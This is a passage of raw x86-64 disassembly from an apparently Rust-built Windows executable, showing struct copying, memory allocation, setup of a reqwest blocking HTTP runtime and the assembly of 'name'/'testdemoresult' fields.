mov byte [rsi + 0x12], 2
mov rax, qword [rsp + 0xed]
mov qword [rsi + 0x20], rax
movaps xmm0, xmmword [rsp + 0xe0]
movups xmmword [rsi + 0x13], xmm0
mov eax, 0x44
lea rdx, [rsp + 0x140]
mov qword [rdx], rax
mov rcx, qword [rsp + 0x38]
mov qword [rdx + 8], rcx
mov qword [rdx + 0x10], rax
mov rcx, r13
call fcn.140029811
mov rdx, qword [r13 + 8]
mov r8, qword [r13 + 0x10]
cmp r8, rbp
je 0x140025b04
mov r9b, byte [rdx + rbp]
cmp r9b, 0x20
setae al
cmp r9b, 0x7f
setne cl
inc rbp
cmp r9b, 9
je 0x140025a98
and al, cl
jne 0x140025a98
lea rcx, [rsp + 0x1e8]
mov rax, qword [rcx - 0x18]
call qword [rax + 0x18]
call fcn.1400c34ff
mov rdi, rax
cmp qword [rsp + 0x5b0], 0
je 0x140025ae6
mov rcx, rsi
call fcn.140001b7c
mov qword [rsp + 0x5b0], rdi
mov qword [rsp + 0x38], rdi
jmp 0x140025b92
mov rdx, qword [rbx + 0xe0]
jmp 0x1400275ab
lea rsi, [rsp + 0x1d0]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x180], xmm1
movaps xmmword [rsp + 0x170], xmm0
lea r9, [rsp + 0x650]
movaps xmmword [r9], xmm0
movaps xmmword [r9 + 0x10], xmm1
mov byte [r9 + 0x20], 0
movups xmm0, xmmword [0x14016f818]
lea r8, [rsp + 0x100]
movaps xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [0x14016f808]
movaps xmmword [r8], xmm0
lea rdx, [rsp + 0x430]
mov rcx, rsi
call fcn.140062861
cmp byte [rsi + 0x20], 2
je 0x140025b85
lea rcx, [rsp + 0x1e8]
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
call qword [rax + 0x18]
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x38], rax
lea rdi, [rsp + 0x5f0]
lea rdx, [rsp + 0x430]
mov ecx, 0xc
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rdx + 0x60]
mov qword [rsp + 0x40], rax
mov rax, qword [rdx + 0x68]
mov qword [rsp + 0x88], rax
mov rax, qword [rdx + 0x70]
mov qword [rsp + 0x70], rax
mov rax, qword [rdx + 0x78]
mov qword [rsp + 0x138], rax
mov rax, qword [rdx + 0x80]
mov qword [rsp + 0x130], rax
movups xmm0, xmmword [r12 + 0x88]
movaps xmmword [rsp + 0x160], xmm0
mov rax, qword [rdx + 0x98]
mov qword [rsp + 0x128], rax
mov rax, qword [rdx + 0xa0]
mov qword [rsp + 0x120], rax
mov rax, qword [rdx + 0xa8]
mov qword [rsp + 0xd8], rax
lea r8, [rsp + 0x270]
mov ecx, 0xf
mov rdi, r8
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [r12 + 0x134]
mov qword [rsp + 0x48], rcx
mov ecx, dword [r12 + 0x13c]
mov dword [rsp + 0x50], ecx
mov rcx, qword [r12 + 0x154]
mov qword [rsp + 0x78], rcx
mov ecx, dword [r12 + 0x15c]
mov dword [rsp + 0x80], ecx
mov rcx, qword [r12 + 0x164]
mov qword [rsp + 0x60], rcx
mov ecx, dword [r12 + 0x16c]
mov dword [rsp + 0x68], ecx
mov al, byte [rdx + 0x188]
mov byte [rsp + 0x37], al
mov al, byte [rdx + 0x189]
mov byte [rsp + 0x36], al
mov al, byte [rdx + 0x18a]
mov byte [rsp + 0x35], al
mov al, byte [rdx + 0x18b]
mov byte [rsp + 0x34], al
mov al, byte [rdx + 0x18c]
mov byte [rsp + 0x33], al
mov al, byte [rdx + 0x18d]
mov byte [rsp + 0x32], al
mov rcx, qword [r12 + 0x1a0]
mov qword [rsp + 0xed], rcx
mov al, byte [rdx + 0x18e]
mov byte [rsp + 0x31], al
mov al, byte [rdx + 0x18f]
mov byte [rsp + 0x30], al
mov al, byte [rdx + 0x190]
mov byte [rsp + 0x2f], al
mov al, byte [rdx + 0x191]
mov byte [rsp + 0x2e], al
mov al, byte [rdx + 0x192]
mov byte [rsp + 0x2d], al
mov r15d, dword [rdx + 0x128]
mov r13d, dword [rdx + 0x12c]
mov eax, dword [rdx + 0x130]
mov r14d, dword [rdx + 0x140]
mov r9d, dword [rdx + 0x144]
mov r10, qword [rdx + 0x148]
mov r11d, dword [rdx + 0x150]
mov ebp, dword [rdx + 0x160]
mov ecx, dword [rdx + 0x170]
mov dword [rsp + 0x5c], ecx
mov ecx, dword [rdx + 0x174]
mov dword [rsp + 0x58], ecx
mov rdx, qword [rdx + 0x178]
movups xmm0, xmmword [r12 + 0x193]
movaps xmmword [rsp + 0xe0], xmm0
mov ecx, 0xc
lea r12, [rsp + 0x650]
mov rdi, r12
lea rsi, [rsp + 0x5f0]
rep movsq qword [rdi], qword [rsi]
movaps xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x170], xmm0
mov ecx, 0xf
lea rdi, [rsp + 0x1d0]
mov rsi, r8
rep movsq qword [rdi], qword [rsi]
mov ecx, dword [rsp + 0x50]
mov dword [rsp + 0x148], ecx
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x140], rcx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0xc0], rcx
mov ecx, dword [rsp + 0x80]
mov dword [rsp + 0xc8], ecx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0xb0], rcx
mov ecx, dword [rsp + 0x68]
mov dword [rsp + 0xb8], ecx
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x100], xmm0
mov rcx, qword [rsp + 0xed]
mov qword [rsp + 0x10d], rcx
mov ecx, 0xc
lea r8, [rsp + 0x430]
mov rdi, r8
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x40]
mov qword [r8 + 0x60], rcx
mov rcx, qword [rsp + 0x88]
mov qword [r8 + 0x68], rcx
mov rcx, qword [rsp + 0x70]
mov qword [r8 + 0x70], rcx
mov rcx, qword [rsp + 0x138]
mov qword [r8 + 0x78], rcx
mov rcx, qword [rsp + 0x130]
mov qword [r8 + 0x80], rcx
movaps xmm0, xmmword [rsp + 0x170]
movups xmmword [r8 + 0x88], xmm0
mov rcx, qword [rsp + 0x128]
mov qword [r8 + 0x98], rcx
mov rcx, qword [rsp + 0x120]
mov qword [r8 + 0xa0], rcx
mov rcx, qword [rsp + 0xd8]
mov qword [r8 + 0xa8], rcx
mov ecx, 0xf
lea r12, [rsp + 0x4e0]
mov rdi, r12
lea rsi, [rsp + 0x1d0]
rep movsq qword [rdi], qword [rsi]
mov dword [rsp + 0xac], r15d
mov dword [r12 + 0x78], r15d
mov dword [rsp + 0xa8], r13d
mov dword [r12 + 0x7c], r13d
mov dword [rsp + 0x94], eax
mov dword [r12 + 0x80], eax
mov rax, qword [rsp + 0x140]
mov qword [r12 + 0x84], rax
mov eax, dword [rsp + 0x148]
mov dword [r12 + 0x8c], eax
mov dword [rsp + 0xa0], r14d
mov dword [r12 + 0x90], r14d
mov dword [rsp + 0x9c], r9d
mov dword [r12 + 0x94], r9d
mov qword [rsp + 0x190], r10
mov qword [r12 + 0x98], r10
mov dword [rsp + 0x98], r11d
mov dword [r12 + 0xa0], r11d
mov rax, qword [rsp + 0xc0]
mov qword [r12 + 0xa4], rax
mov eax, dword [rsp + 0xc8]
mov dword [r12 + 0xac], eax
mov dword [rsp + 0xa4], ebp
mov dword [r12 + 0xb0], ebp
mov rax, qword [rsp + 0xb0]
mov qword [r12 + 0xb4], rax
mov eax, dword [rsp + 0xb8]
mov dword [r12 + 0xbc], eax
mov eax, dword [rsp + 0x5c]
mov dword [r12 + 0xc0], eax
mov eax, dword [rsp + 0x58]
mov dword [r12 + 0xc4], eax
mov qword [rsp + 0x198], rdx
mov qword [r12 + 0xc8], rdx
mov rax, qword [rsp + 0x38]
mov qword [r12 + 0xd0], rax
mov al, byte [rsp + 0x37]
mov byte [r12 + 0xd8], al
mov al, byte [rsp + 0x36]
mov byte [r12 + 0xd9], al
mov al, byte [rsp + 0x35]
mov byte [r12 + 0xda], al
mov al, byte [rsp + 0x34]
mov byte [r12 + 0xdb], al
mov al, byte [rsp + 0x33]
mov byte [r12 + 0xdc], al
mov al, byte [rsp + 0x32]
mov byte [r12 + 0xdd], al
mov al, byte [rsp + 0x31]
mov byte [r12 + 0xde], al
mov al, byte [rsp + 0x30]
mov byte [r12 + 0xdf], al
mov al, byte [rsp + 0x2f]
mov byte [r12 + 0xe0], al
mov al, byte [rsp + 0x2e]
mov byte [r12 + 0xe1], al
mov al, byte [rsp + 0x2d]
mov byte [r12 + 0xe2], al
mov rax, qword [rsp + 0x10d]
mov qword [r12 + 0xf0], rax
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [r12 + 0xe3], xmm0
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x68], 0
jne 0x140026088
call fcn.1400ec214
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0x70]
mov rbp, qword [rax + 0x78]
lea rcx, [r14 + 1]
mov qword [rax + 0x70], rcx
movups xmm6, xmmword [0x1401755d0]
movups xmmword [rsp + 0x2b8], xmm6
movups xmm7, xmmword [0x1401755e0]
movups xmmword [rsp + 0x2c8], xmm7
movabs rax, 0x8000000000000001
cmp qword [rsp + 0xd8], rax
je 0x140026245
lea rsi, [rsp + 0x4d8]
mov rcx, rsi
call fcn.1400a9ebc
mov rax, qword [rsi - 0x48]
mov qword [rsp + 0x40], rax
mov rax, qword [rsi - 0x40]
mov qword [rsp + 0x88], rax
mov rax, qword [rsi - 0x38]
mov qword [rsp + 0x70], rax
mov rax, qword [rsi - 0x30]
mov qword [rsp + 0x138], rax
mov rax, qword [rsi - 0x28]
mov qword [rsp + 0x130], rax
mov rax, qword [rsi - 0x10]
mov qword [rsp + 0x128], rax
mov rax, qword [rsi - 8]
mov qword [rsp + 0x120], rax
mov eax, dword [rsi + 0x80]
mov dword [rsp + 0xac], eax
mov eax, dword [rsi + 0x84]
mov dword [rsp + 0xa8], eax
mov al, byte [rsi + 0xe1]
mov byte [rsp + 0x36], al
mov al, byte [rsi + 0xe2]
mov byte [rsp + 0x35], al
mov al, byte [rsi + 0xe3]
mov byte [rsp + 0x34], al
mov al, byte [rsi + 0xe4]
mov byte [rsp + 0x33], al
mov al, byte [rsi + 0xe5]
mov byte [rsp + 0x32], al
mov al, byte [rsi + 0xe6]
mov byte [rsp + 0x31], al
mov al, byte [rsi + 0xe7]
mov byte [rsp + 0x30], al
mov al, byte [rsi + 0xe8]
mov byte [rsp + 0x2f], al
mov al, byte [rsi + 0xe9]
mov byte [rsp + 0x2e], al
mov al, byte [rsi + 0xea]
mov byte [rsp + 0x2d], al
mov eax, dword [rsi + 0x88]
mov dword [rsp + 0x94], eax
mov eax, dword [rsi + 0x98]
mov dword [rsp + 0xa0], eax
mov eax, dword [rsi + 0x9c]
mov dword [rsp + 0x9c], eax
mov rax, qword [rsi + 0xa0]
mov qword [rsp + 0x190], rax
mov eax, dword [rsi + 0xa8]
mov dword [rsp + 0x98], eax
mov eax, dword [rsi + 0xb8]
mov dword [rsp + 0xa4], eax
mov eax, dword [rsi + 0xc8]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsi + 0xcc]
mov dword [rsp + 0x58], eax
mov rax, qword [rsi + 0xd0]
mov qword [rsp + 0x198], rax
mov rax, qword [rsi + 0xd8]
mov qword [rsp + 0x38], rax
movabs r13, 0x8000000000000000
lea rax, [rsp + 0x430]
mov qword [rax + 0xa8], r13
lea rsi, [rsp + 0x270]
mov ecx, 0xd
mov rdi, r12
rep movsq qword [rdi], qword [rsi]
mov qword [rax + 0x118], r14
mov qword [rax + 0x120], rbp
lea rdx, [rsp + 0x650]
mov ecx, 0xc
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
lea r9, [rsp + 0x430]
movups xmm0, xmmword [r9 + 0x88]
movaps xmmword [rsp + 0x170], xmm0
lea r8, [rsp + 0x1d0]
mov ecx, 0xf
mov rdi, r8
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
mov ecx, dword [r9 + 0x13c]
mov dword [rsp + 0x148], ecx
mov rcx, qword [r9 + 0x134]
mov qword [rsp + 0x140], rcx
mov rcx, qword [r9 + 0x154]
mov qword [rsp + 0xc0], rcx
mov ecx, dword [r9 + 0x15c]
mov dword [rsp + 0xc8], ecx
mov rcx, qword [r9 + 0x164]
mov qword [rsp + 0xb0], rcx
mov ecx, dword [r9 + 0x16c]
mov dword [rsp + 0xb8], ecx
movups xmm0, xmmword [rax + 0x193]
movaps xmmword [rsp + 0x100], xmm0
mov rax, qword [rax + 0x1a0]
mov qword [rsp + 0x10d], rax
lea rdi, [rsp + 0x730]
mov ecx, 0xc
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
movaps xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x5e0], xmm0
lea rdi, [rsp + 0x6b8]
mov ecx, 0xf
mov rsi, r8
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rsp + 0x148]
mov dword [rsp + 0x1c8], eax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x1b0], rax
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0x1b8], eax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x1a0], rax
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x1a8], eax
movaps xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x250], xmm0
mov rax, qword [rsp + 0x10d]
mov qword [rsp + 0x25d], rax
mov al, byte [0x1401aa510]
mov edx, 0x2220
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x140027820
mov rsi, rax
xorps xmm8, xmm8
movups xmmword [rax + 0x2210], xmm8
movups xmmword [rax + 0x2200], xmm8
mov al, byte [0x1401aa510]
mov edx, 0x68
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14002782f
mov r15, rax
mov eax, 1
mov qword [r15], rax
mov qword [r15 + 8], rax
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], rsi
xor ecx, ecx
mov qword [r15 + 0x20], rcx
mov byte [r15 + 0x28], 0
mov qword [r15 + 0x30], rsi
movups xmmword [r15 + 0x38], xmm8
movups xmmword [r15 + 0x48], xmm8
mov qword [r15 + 0x58], rcx
mov qword [r15 + 0x60], rax
lock inc qword [r15]
jle case.0x1400255da.2
mov qword [rsp + 0x60], r15
mov al, byte [0x1401aa510]
mov edx, 0x48
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14002783e
mov rbp, rax
mov eax, 1
mov qword [rbp], rax
mov qword [rbp + 8], rax
xor eax, eax
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x40], rax
lock inc qword [rbp]
jle case.0x1400255da.2
mov qword [rsp + 0x78], rbp
mov al, byte [0x1401aa510]
mov r14d, 0x1d
mov edx, 0x1d
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14002784d
mov r12, rax
movups xmm0, xmmword [0x14016fdd5]
movups xmmword [rax + 0xd], xmm0
movups xmm0, xmmword [str.reqwest_internal_sync_runtime]
movups xmmword [rax], xmm0
lea rdi, [rsp + 0x270]
lea rsi, [rsp + 0x730]
mov ecx, 0xc
rep movsq qword [rdi], qword [rsi]
movaps xmm0, xmmword [rsp + 0x5e0]
movaps xmmword [rsp + 0x140], xmm0
lea rdi, [rsp + 0x430]
lea rsi, [rsp + 0x6b8]
mov ecx, 0xf
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rsp + 0x1c8]
mov dword [rsp + 0xe8], eax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x160], rax
mov eax, dword [rsp + 0x1b8]
mov dword [rsp + 0x168], eax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x1a8]
mov dword [rsp + 0x50], eax
movaps xmm0, xmmword [rsp + 0x250]
movaps xmmword [rsp + 0x170], xmm0
mov rax, qword [rsp + 0x25d]
mov qword [rsp + 0x17d], rax
call fcn.1400e1ad0
mov rdi, rax
lea rdx, [rsp + 0x650]
mov qword [rdx], r14
mov qword [rdx + 8], r12
mov qword [rdx + 0x10], r14
lea rsi, [rsp + 0x5f0]
mov rcx, rsi
call fcn.14006fa3d
cmp qword [rsi], r13
jne 0x14002785c
mov rcx, qword [rsp + 0x5f8]
mov rdx, qword [rsp + 0x600]
call fcn.1400d16c0
lock inc qword [rax]
jle case.0x1400255da.2
mov r12, rax
mov al, byte [0x1401aa510]
mov edx, 0x30
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x140027794
mov rsi, rax
mov qword [rsp + 0xd8], rdi
mov eax, 1
mov qword [rsi], rax
mov qword [rsi + 8], rax
xorps xmm0, xmm0
movups xmmword [rsi + 0x10], xmm0
mov qword [rsp + 0x1d0], rsi
lock inc qword [rsi]
jle case.0x1400255da.2
xor ecx, ecx
call fcn.1400d7870
mov rdi, rax
test rax, rax
je 0x14002666d
lock inc qword [rdi]
jle case.0x1400255da.2
mov rcx, rdi
jmp 0x14002666f
xor ecx, ecx
call fcn.1400d7870
test rax, rax
je 0x140026687
lock dec qword [rax]
jne 0x140026687
mov rcx, rax
call fcn.14006fad5
mov r14, qword [rsp + 0x1d0]
mov rcx, qword [r14 + 0x10]
test rcx, rcx
je 0x1400266a1
add rcx, 0x10
call fcn.1400d0290
mov al, byte [0x1401aa510]
mov edx, 0x1d0
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x1400278e5
mov qword [rax], r12
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov ecx, 0xc
lea rdi, [rax + 0x18]
lea rsi, [rsp + 0x270]
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x78], rcx
mov rcx, qword [rsp + 0x88]
mov qword [rax + 0x80], rcx
mov rcx, qword [rsp + 0x70]
mov qword [rax + 0x88], rcx
mov rcx, qword [rsp + 0x138]
mov qword [rax + 0x90], rcx
mov rcx, qword [rsp + 0x130]
mov qword [rax + 0x98], rcx
movaps xmm0, xmmword [rsp + 0x140]
movups xmmword [rax + 0xa0], xmm0
mov rcx, qword [rsp + 0x128]
mov qword [rax + 0xb0], rcx
mov rcx, qword [rsp + 0x120]
mov qword [rax + 0xb8], rcx
mov qword [rax + 0xc0], r13
mov rdi, rax
add rdi, 0xc8
mov ecx, 0xf
lea rsi, [rsp + 0x430]
rep movsq qword [rdi], qword [rsi]
mov ecx, dword [rsp + 0xac]
mov dword [rax + 0x140], ecx
mov ecx, dword [rsp + 0xa8]
mov dword [rax + 0x144], ecx
mov ecx, dword [rsp + 0x94]
mov dword [rax + 0x148], ecx
mov rcx, qword [rsp + 0xe0]
mov qword [rax + 0x14c], rcx
mov ecx, dword [rsp + 0xe8]
mov dword [rax + 0x154], ecx
mov ecx, dword [rsp + 0xa0]
mov dword [rax + 0x158], ecx
mov ecx, dword [rsp + 0x9c]
mov dword [rax + 0x15c], ecx
mov rcx, qword [rsp + 0x190]
mov qword [rax + 0x160], rcx
mov ecx, dword [rsp + 0x98]
mov dword [rax + 0x168], ecx
mov rcx, qword [rsp + 0x160]
mov qword [rax + 0x16c], rcx
mov ecx, dword [rsp + 0x168]
mov dword [rax + 0x174], ecx
mov ecx, dword [rsp + 0xa4]
mov dword [rax + 0x178], ecx
mov rcx, qword [rsp + 0x48]
mov qword [rax + 0x17c], rcx
mov ecx, dword [rsp + 0x50]
mov dword [rax + 0x184], ecx
mov ecx, dword [rsp + 0x5c]
mov dword [rax + 0x188], ecx
mov ecx, dword [rsp + 0x58]
mov dword [rax + 0x18c], ecx
mov rcx, qword [rsp + 0x198]
mov qword [rax + 0x190], rcx
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0x198], rcx
mov byte [rax + 0x1a0], 0
mov cl, byte [rsp + 0x36]
mov byte [rax + 0x1a1], cl
mov cl, byte [rsp + 0x35]
mov byte [rax + 0x1a2], cl
mov cl, byte [rsp + 0x34]
mov byte [rax + 0x1a3], cl
mov cl, byte [rsp + 0x33]
mov byte [rax + 0x1a4], cl
mov cl, byte [rsp + 0x32]
mov byte [rax + 0x1a5], cl
mov cl, byte [rsp + 0x31]
mov byte [rax + 0x1a6], cl
mov cl, byte [rsp + 0x30]
mov byte [rax + 0x1a7], cl
mov cl, byte [rsp + 0x2f]
mov byte [rax + 0x1a8], cl
mov cl, byte [rsp + 0x2e]
mov byte [rax + 0x1a9], cl
mov cl, byte [rsp + 0x2d]
mov byte [rax + 0x1aa], cl
mov rcx, qword [rsp + 0x17d]
mov qword [rax + 0x1b8], rcx
movaps xmm0, xmmword [rsp + 0x170]
movups xmmword [rax + 0x1ab], xmm0
mov qword [rax + 0x1c0], r15
mov qword [rax + 0x1c8], rbp
lea r8, str.___f_
mov rcx, qword [rsp + 0xd8]
mov rdx, rax
call fcn.1400e1ee0
mov rsi, rdx
test rax, rax
jne 0x1400278f4
mov qword [rsp + 0x100], r12
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x110], rsi
call fcn.1400d0320
mov rsi, rax
mov al, byte [0x1401aa510]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14002792f
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
lea rax, [0x14016a448]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], rcx
lea rsi, [rsp + 0x430]
lea rax, [rsp + 0x270]
mov qword [rsi], rax
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], 0
mov qword [rsp + 0x1d0], rbp
lea rdi, [0x1400637dc]
test rbp, rbp
je 0x14002777a
mov rcx, rdi
mov rdx, rsi
call fcn.1400f57a0
mov r15d, eax
test r15b, 1
jne 0x140026a65
mov r14d, r15d
shr r14d, 0x10
mov rax, qword [rbp + 0x40]
test al, 2
jne 0x140026a8b
test al, 4
jne 0x140026a77
test al, 1
je 0x1400269fe
mov rcx, qword [rsp + 0x430]
mov rdx, qword [rbp + 0x38]
cmp rdx, qword [rcx + 8]
jne 0x140026a04
mov rcx, qword [rcx]
cmp qword [rbp + 0x30], rcx
jne 0x140026a04
test al, 1
je 0x140026a26
jmp 0x140026a56
mov rax, qword [rbp + 0x40]
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [rbp + 0x40], rcx
jne 0x140026a08
test al, 2
jne 0x140026a85
mov rax, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x38]
call qword [rax + 0x18]
mov rax, qword [rsp + 0x430]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
mov rax, qword [rbp + 0x40]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [rbp + 0x40], rcx
jne 0x140026a43
test al, 2
jne 0x140026a8b
shr r15d, 8
mov ecx, r15d
mov edx, r14d
call fcn.1400f8ad8
call fcn.1400d13b0
mov rbp, qword [rsp + 0x1d0]
jmp 0x1400269a3
xor esi, esi
xor ecx, ecx
mov edx, r14d
call fcn.1400f8ad8
jmp 0x140026acf
lock or qword [rbp + 0x40], 1
mov rdi, qword [rbp + 0x18]
mov r15, qword [rbp + 0x10]
mov qword [rbp + 0x10], 0
xor esi, esi
xor ecx, ecx
mov edx, r14d
call fcn.1400f8ad8
test r15, r15
je 0x140026acf
lock dec qword [rbp]
jne 0x140026ac0
mov rcx, qword [rsp + 0x1d0]
call fcn.1400aa23d
mov qword [rsp + 0x1d0], 0
mov sil, 1
lea r15, [rsp + 0x1d0]
mov rcx, r15
call fcn.1400c357f
mov rax, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x278]
call qword [rax + 0x18]
test sil, sil
je 0x14002793e
test rdi, rdi
jne 0x140027943
mov rsi, qword [rsp + 0x60]
mov al, byte [0x1401aa510]
mov edx, 0x30
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x140027794
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rsi
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rax + 0x18], xmm0
mov rcx, qword [rsp + 0x110]
mov qword [rax + 0x28], rcx
mov qword [rbx + 0xb8], rax
mov qword [rbx + 0xc0], 0xf
mov dword [rbx + 0xc8], 0
xor ecx, ecx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_CreateEventW
cmp rax, 0xffffffffffffffff
je 0x140027989
mov rcx, rax
mov edx, 0x7d0
call sub.kernel32.dll_WaitForSingleObject
lea rdi, [rbx + 0x10]
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x68], 0
jne 0x140026bb3
call fcn.1400ec214
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
mov rax, qword [rsi + 0x70]
mov rcx, qword [rsi + 0x78]
lea rdx, [rax + 1]
mov qword [rsi + 0x70], rdx
movups xmmword [rdi + 0x10], xmm7
movups xmmword [rdi], xmm6
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rcx
mov qword [rsp + 0x20], 8
lea rdx, str.name
lea r9, str.testdemoresult
mov r8d, 4
mov rcx, rdi
call fcn.1400010e9
mov qword [rsp + 0x20], 5
lea rdx, str.detailmacos
lea r9, [0x140115596]
mov r8d, 6
mov rcx, rdi
call fcn.1400010e9
lea rdi, [rbx + 0x40]
cmp byte [rsi + 0x68], 0
jne 0x140026c4a
call fcn.1400ec214
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x70]
mov rdx, qword [rax + 0x78]
lea r8, [rcx + 1]
mov qword [rax + 0x70], r8
movups xmmword [rdi + 0x10], xmm7
movups xmmword [rdi], xmm6
mov qword [rbx + 0x60], rcx
mov qword [rbx + 0x68], rdx
mov qword [rsp + 0x20], 8
lea rdx, str.name
lea r9, str.testdemoresult
mov r8d, 4
mov rcx, rdi
call fcn.1400010e9
mov r13, qword [rbx + 0xb8]
mov rax, qword [rbx + 0xc0]
mov ecx, dword [rbx + 0xc8]
lock inc qword [r13]
jle case.0x1400255da.2
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x38], rax
mov rdx, qword [rbx + 0x78]
mov r8, qword [rbx + 0x80]
lea rcx, [rsp + 0x270]
call fcn.140028f50
mov r14, qword [rbx + 0x18]
mov rsi, qword [rbx + 0x30]
mov r12, qword [rbx + 0x38]
test r14, r14
je 0x140026d6a
lea r8, [r14 + 1]
lea r15, [rsp + 0x430]
mov edx, 0x20
mov rcx, r15
call fcn.1400358ee
mov rdi, qword [r15]
mov rbp, qword [r15 + 8]
mov r15, qword [rbx + 0x10]
lea r8, [rbp + 0x11]
mov rcx, rdi
mov rdx, r15
call fcn.1401035b1
not r14
shl r14, 5
add r14, r15
lea r15, [rsp + 0x1d0]
mov rcx, rbp
not rcx
shl rcx, 5
add rcx, rdi
mov r8, rbp
shl r8, 5
add r8, 0x20
mov rdx, r14
call fcn.1401035b1
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
jmp 0x140026d77
lea rdi, [0x1401755c0]
xor eax, eax
xor ecx, ecx
xor ebp, ebp
mov rdx, qword [rsp + 0x280]
mov qword [rsp + 0x340], rdx
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x330], xmm0
mov edx, 1
lock xadd qword [0x1401aa2c0], rdx
mov qword [rsp + 0x1d0], rdx
mov qword [rsp + 0x348], r13
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x350], rdx
mov edx, dword [rsp + 0x40]
mov dword [rsp + 0x358], edx
mov qword [rsp + 0x360], rdi
mov qword [rsp + 0x368], rbp
mov qword [rsp + 0x370], rcx
mov qword [rsp + 0x378], rax
mov qword [rsp + 0x380], rsi
mov qword [rsp + 0x388], r12
mov byte [rsp + 0x390], 0
mov qword [rsp + 0x398], r15
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x140026e61
test eax, eax
jne 0x140027a17
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x90]
lea rdx, [0x1400ebe4b]
call fcn.1400cef90
mov byte [rsi + 0xe0], 1
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x90]
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
jae 0x1400277a3
inc rax
mov ecx, dword [0x1401aa514]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0x90], rax
mov rax, qword [rcx + 0x98]
lea rdi, [rsp + 0x430]
lea rsi, [rsp + 0x330]
mov ecx, 0xe
rep movsq qword [rdi], qword [rsi]
cmp rax, 2
je 0x1400279c1
mov rcx, qword [rsp + 0x498]
mov rsi, qword [rcx]
test rax, rax
je 0x140026fe8
mov eax, dword [0x1401aa514]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
